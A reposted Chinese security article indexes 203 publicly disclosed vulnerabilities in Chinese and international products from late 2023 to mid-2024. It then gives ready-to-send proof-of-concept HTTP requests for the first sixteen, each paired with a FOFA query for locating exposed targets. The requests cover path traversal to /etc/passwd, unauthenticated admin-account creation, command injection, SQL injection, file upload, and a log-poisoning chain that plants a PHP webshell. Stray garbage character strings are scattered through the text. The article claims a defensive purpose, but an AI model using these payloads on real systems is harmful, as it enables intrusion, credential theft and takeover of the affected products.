互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

! w3 ]9 F% g6 I' D$ [  E发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
) }0 W% l) f* U- |# |; F
# v5 h7 ^& X( X8 V2 n安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
0 c) y4 b8 v' o% h5 E
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
2 T" G# @2 W8 R" Q; z/ X
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
7 }& [; f* I) J  E0 M6 Z$ Z

声明
6 h) U: s  c# y" ]' Z5 ]" p
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
( c1 d: p1 k8 c. c% N
4 M" Y' B. Y6 H! E6 x' N有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



$ J  W1 `/ n* F5 L目录
. o' N+ _: @) I
01
+ `6 e% L' F$ z+ W
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
% @$ M. U$ M6 T+ U  x- j- S3. EasyCVR智能边缘网关 userlist 信息泄漏
1 z$ F: z# Q' y& g5 ^# Y+ u1 P  F4. EasyCVR视频管理平台存在任意用户添加
3 q7 k, ~& P7 I$ Y$ {5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
  G) l( \3 n- U9 U8 Q( N11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
$ m3 J9 [! t' E% ^" M$ x6 ~14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
1 \7 c9 ^# B$ y0 A. e16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
: y( w1 R+ b% [' ~4 r18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
( M3 H/ L' u1 ?3 O% M19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
5 y8 t6 b; {- D" r1 A22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
/ E2 d: j7 S7 K8 }( K& L3 U27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
, r* `4 L4 L, M0 `4 o; J32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
3 t7 S6 M1 M, d, r9 H37. 用友NC-Cloud IUpdateService XXE
5 f" U9 G% i4 \. ?' g& g38. 用友U8 Cloud smartweb2.RPC.d XXE
0 z% n" m! m4 q3 X3 u0 q. N39. 用友U8 Cloud RegisterServlet SQL注入
4 v+ X; l* b) R  I* A' X7 c6 \40. 用友U8-Cloud XChangeServlet XXE
# v9 \# p1 \+ A8 E$ `# d41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
8 ]6 \* s0 h! J4 L42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
- q- f& W; e" @7 `% B; ~: Q44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
' G  v, s  z1 u2 ?7 @" ^46. 用友GRP-U8 sqcxIndex.jsp SQL注入
6 D! y* @  N% E7 `47. 用友GRP A++Cloud 政府财务云 任意文件读取
3 ~  Q* w- l: m7 _7 r5 K' k5 F5 y48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
2 W3 c: `8 W' F, ^- A# z1 U  ^50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
% e) _; _# P: E1 n% j* }* v. v2 d54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
7 B6 b9 G5 e, `' P56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
3 @' e7 Y5 B. ]/ |2 Q57. 畅捷通T+ keyEdit.aspx SQL注入
0 n: q" O( r/ \1 k& F& n58. 畅捷通T+ KeyInfoList.aspx sql注入
2 v* \5 y$ p8 z7 t59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
" U; K0 x- m# [60. 百卓Smart管理平台 importexport.php SQL注入
& Z0 _+ j: m8 [5 p61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
7 `8 m: @# W) i: J/ X& F, h0 q7 y64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
; U2 I7 ^* ], u8 Y0 s% n% D66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
; N& ?$ S7 g8 d' x67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
4 _* Z; {: ~6 d( B% B5 m74. 致远M3-server 6_1sp1 反序列化RCE
5 ]- l$ x( [8 b$ U+ A/ ]8 U7 J75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
. \) F/ |+ k  ]% v81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
/ D2 _* |( B( q5 f  x85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
6 X7 l; k7 K2 L3 W5 S88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
0 i; f8 j- U! m5 j89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
! h8 A+ z; e9 `9 ~/ g! q93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
3 R* t7 n) V: n$ L3 Y( E94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
$ B! Z" D3 P& \. c2 ^" M, p95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
8 w' t8 s/ g& X0 Y* u8 H96. Apache OFBiz  18.12.11 groovy 远程代码执行
. u# |1 r+ [! ]" i$ r& u! E97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
, c: r5 ^3 G0 S98. SpiderFlow爬虫平台远程命令执行
" r- d1 I' W6 v/ s9 d3 w6 `99. Ncast盈可视高清智能录播系统busiFacade RCE
0 Y3 `5 Y: ?5 Z- f: O/ l100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
, _0 h0 P) w; w101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
: E! E6 E5 e4 C7 _  m5 q/ m4 i104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
8 [' `: [; t0 [9 B& w' V108. D-Tale 3.9.0 SSRF
; t8 {: j& G3 |3 @109. Jenkins CLI 任意文件读取
0 j# T7 j* G/ Y1 l110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
/ v9 s: d% b  [1 q112. WordPress Plugin NotificationX SQL 注入
, V, T/ c+ z" i$ F  X113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
: H) v* M& N" k$ W' w3 B  Q115. WordPress Bricks Builder <= 1.9.6 RCE
  m' w7 [% a/ P- C" e% V' R116. wordpress js-support-ticket文件上传
+ O  [  M! N8 u- N' {  ]117. WordPress LayerSlider插件SQL注入
( ]) F  f+ L0 ~+ d118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
& x. K, J" B+ ~# S6 E128. Adobe ColdFusion 反序列化
# n" x# q$ d' p1 r# T5 z7 V129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
4 c5 S9 e* v% _3 |( o( Q134. 网康NS-ASG应用安全网关index.php sql注入
9 C* l: E! U2 v. U9 }135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
. I' [) N+ t/ J( j137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
0 C9 K5 `/ M* n; H4 E" k142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
) L9 H+ H6 h& {) {- S+ c4 o' k144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
/ x( \6 L, |+ Z# ~- k$ P146. MajorDoMo thumb.php 未授权远程代码执行
" C% B4 ]) \$ h# |( x; d147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
2 k6 |, A; s1 F/ {! Y148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
% V" ^* d. r  T" R151. AJ-Report 1.4.1 pageList sql注入
! _% G. m% m0 j5 p152. Progress Kemp LoadMaster 远程命令执行
! Z4 Q9 [5 A6 ^8 c5 W4 \7 l/ _153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
# q5 g( t& L- T& F9 `156. TBK DVR-4104/DVR-4216 操作系统命令注入
* z; I+ k& E( l+ x$ E$ @5 q- }7 c157. 美特CRM upload.jsp 任意文件上传
" d9 U1 l9 M4 W8 v* b158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
7 u& E( o" {. r$ I/ E/ _& s163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
2 `6 R5 }) V' w5 a7 ^/ P& s164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
; H9 E* X) C! f4 F$ l: m3 g169. 宏景EHR downlawbase SQL注入
$ I/ @( m4 Y' s6 f0 ^6 _* j9 `9 N/ E170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
" n* i" D2 B: o- n/ N) k172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 ~+ N& _% [7 V175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
6 \8 R  C& |# C* o5 E177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
4 D  \& w0 G7 _4 \181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
' _* ^. E' j" Y: ^183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
, _! J: i) Q) I4 {! s185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
. x/ N8 c# i6 O" O4 F% M5 t# \. w2 o3 e189. 蓝网科技临床浏览系统 deleteStudy SQL注入
( c" T/ m# o6 U$ j0 s$ b) p190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
4 _$ @( s- }9 B! P) s- \- v194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
8 M! A& b  A! b2 }3 I" q195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
! Q9 I& C  v; c$ f8 Q& Z( n197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
; ?( @3 _; i  u0 e! |202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表

02

- ^  T$ l0 [  {7 b# X1. StarRocks MPP数据库未授权访问
$ ^( u4 s, F1 O0 k$ SFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
$ w& f5 n: @% @) Y' _5 d# ~Host: URL
4 ^& d5 Z- R, Q

0 g! r5 N5 b# J" ~, s8 U9 T4 A2. Casdoor系统static任意文件读取
( w+ j0 t9 {# I' U# @. _FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
, s- a& M  J( Y6 ZHost: xx.xx.xx.xx:9999
6 u5 r0 f7 ^  F( W/ v9 fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
1 a, Z, U+ K6 M# |1 U5 ?* dAccept-Encoding: gzip
* O; t* ?- M0 V3 @7 \
9 H1 p$ ]8 B4 A- \( Y
6 T) O' S8 Y1 |$ s. c7 |, d  n3. EasyCVR智能边缘网关 userlist 信息泄漏
5 ]3 e9 ]4 t# @4 |1 b& IFOFA ：title="EasyCVR"
: d: I6 A7 [/ W- VGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
) K8 B4 a' }' V% JHost: xx.xx.xx.xx
# Q. M+ X( ^& j/ c
8 M0 A- |4 i# J: K% m9 `9 H$ ]" O4 _$ b
4. EasyCVR视频管理平台存在任意用户添加
& w4 _1 w8 w# W7 I0 }- g, NFOFA ：title="EasyCVR"

password更改为自己的密码md5
# {% R# q$ B+ n& R3 R) I' `POST /api/v1/adduser HTTP/1.1
7 U4 [; B6 ?/ o# b* S: ~; RHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+ g( w, x# a% o  h2 k
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
9 T2 L. O2 J0 L" ^/ Q# dFOFA：title="Network Video Recorder Login"
6 v6 v  v) O! Z/ `0 }GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
( n+ h0 F+ k1 M& ?8 T: aHost: xx.xx.xx.xx
7 e  g" X7 u6 O$ \. f
8 V9 B8 q  E6 k' w) G* r
6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
! b- s3 }* H; P5 ?0 QGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


3 x9 e  m( x- l. _& B6 k& f7. 鸿运主动安全监控云平台任意文件下载
3 E8 a5 G$ P" _3 U4 H* nFOFA：body="./open/webApi.html"
- j5 K. L% O9 g7 J- o' R1 ^4 kGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
* x* k$ O0 w9 R! j3 G- Q* a: f

8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
  q9 A. X9 m2 P; r# ]9 ?默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
. E4 p: @$ [9 F% s# _. OHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
: [# P4 b- Q* l0 X- b$ [2 fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
: }6 Y4 F) G/ R; D# {6 R$ W------WebKitFormBoundaryxbgjoytz
4 D2 Y) f4 R+ \# T4 W2 UContent-Disposition: form-data; name="wifiRebootrange"

" F$ N& S; I- ^, q" ?% a12:00; id;
. t4 p) [4 ^% T5 l% |) U------WebKitFormBoundaryxbgjoytz
+ h! X/ o, {& @% `Content-Disposition: form-data; name="wifiRebootendrange"
$ |! O; g; F  I1 b0 l, {
%s:
5 D  V) H; e/ A0 S# a7 P9 ~------WebKitFormBoundaryxbgjoytz
! B- K" u" p% d6 ?Content-Disposition: form-data; name="cururl2"
# L% ^0 W5 _7 P4 j( \
/ z& {3 I3 n. L  ?& L5 }
* }( B. C$ ]  o- w! g7 q/ X) G------WebKitFormBoundaryxbgjoytz--
8 T. V. b8 g$ J* s7 u/ Z) w6 _* H
7 Q: V0 \& Q( X
3 Q, `; K( [2 ^* R% E! c5 C9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
' ]8 x$ }8 C1 t4 W/ U$ nHost: x.x.x.x
6 V, o4 U: a+ S2 N% C5 j
3 M: t9 d) h  F3 e* G
payload为下列语句的二次Url编码
4 W3 P, O1 b) w/ Q, ]$ f, v
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
# |5 _& g6 c9 C4 A1 \0 w! X  I. EFOFA：icon_hash="953405444"
# L  j8 ~: a8 e" s. p: o
文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
; R* @$ W+ }( h' y" ]- lHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 |7 b" `8 u! r9 l9 ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' M0 q% Q* f! i6 c- @Connection: close
7 J% \) y' i1 g6 D5 A, @% ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
8 G) p6 V6 j# r; N' r
3 Z# {: G1 E1 O5 A+ P: l: s------WebKitFormBoundaryxdgaqmqu
4 V6 Z5 o! F& U( j) rContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
+ K2 f: \0 {/ @; D0 @. ]5 ^
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


/ K& S* V: x' t1 q11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
7 T2 E, i9 x. }3 V; eFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
+ _' ]7 ?% m" i& }GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
, O: N# w9 E" E9 fUpgrade-Insecure-Requests: 1
# g! K& h. y% MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  b4 v3 {; x$ F- p7 o+ R0 xAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


/ T$ H8 Z/ U2 H5 o& \12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

: A* x4 a( D6 n  }" M
! h9 ~9 H* q. `' k( K响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
  [& f0 p* g! _3 E, m/ J/ V! ?, oConnection: close
# x4 ^1 C9 v1 B8 n/ ~  SCache-Control: no-store, no-cache, must-revalidate
# h. u& c. Y8 e5 {- B2 kContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
6 }! L* \. K; c9 ]; P0 C& VPragma: no-cache
8 `2 `4 V6 s9 q0 r& \# vServer: Apache/2.4.54 (Debian)
, b/ i; O+ U$ D/ e. s- i! XSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
6 c8 c( S- n0 S  l3 G1 RSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
* u9 d. v6 P0 g- BVary: Accept-Encoding
6 y" ]4 q  j" y5 \3 I7 q

! i- I  z5 C% Z' W; rPOST请求，执行函数并进行base64编码
6 K& Z* s6 u# l3 mPOST /session/login HTTP/1.1
- r3 O5 r  d% W  z# M1 j1 eHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
8 w4 N2 n# K$ b+ KContent-Type: application/x-www-form-urlencoded
/ r/ c' s* O9 w1 ?# HCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

, ~* W, d2 I6 X! m; Scsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

2 d& ?) I6 C0 R" @& Y! h) k/ W- F/ i

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
+ [" A! J5 E& E/ N1 J* c3 f( eGET /pages/view/log-2023-10-24 HTTP/1.1
  Z$ {$ N" A3 Q5 fHost: 192.168.190.30
3 S+ U0 L( i, F8 M/ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
0 g$ q  b: z+ M8 T$ Y* _K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
3 y9 M! h6 b* H- ^& j/ IAccept-Encoding: gzip

- V% B9 S) \4 ?& Y
7 Q0 S( w: A6 C: B0 E6 v13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 S( T1 l( L1 S# P8 m3 H& LConnection: close
Accept: */*
Accept-Encoding: gzip
, O. X# U* e8 h' K( U* r2 z5 n
3 Q, ?0 h4 s, r( b; M/ M: R
14. 华夏ERP（jshERP）敏感信息泄露
4 ?. M# f! ]- x2 x, r. OFOFA：body="jshERP-boot"
) \! \: C# U4 s7 c2 ^! o泄露内容包括用户名密码
  F& J  O0 d7 `+ dGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
+ b+ v, \% J0 s7 j- Z* D: T1 WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
) C2 M) \, Z  W1 O' R' H5 G5 t- u) @Connection: close
Accept: */*
Accept-Language: en
, H! ]: b* k) g$ K1 V' L) UAccept-Encoding: gzip
9 ~: _: X6 r1 X
; b- B* {1 N3 r/ Y
( z# q. s& m. a15. 华夏ERP getAllList信息泄露
0 d% }3 [4 r( O$ f: X9 L4 ECVE-2024-0490
5 o" Z" u* i/ W" ~9 r0 cFOFA：body="jshERP-boot"
) P9 G8 S$ V! p5 e# {泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
/ p7 o5 u. J+ g5 f1 D& hHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
4 c6 q) t, O! K* {" @' u$ uConnection: close
& x4 |( s4 o/ ]- o2 `Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
8 L$ Y5 H/ I: K0 S$ wAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip

0 S/ i) U  K' }$ E
16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
! g/ n3 H3 F0 ]/ F. a1 hpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
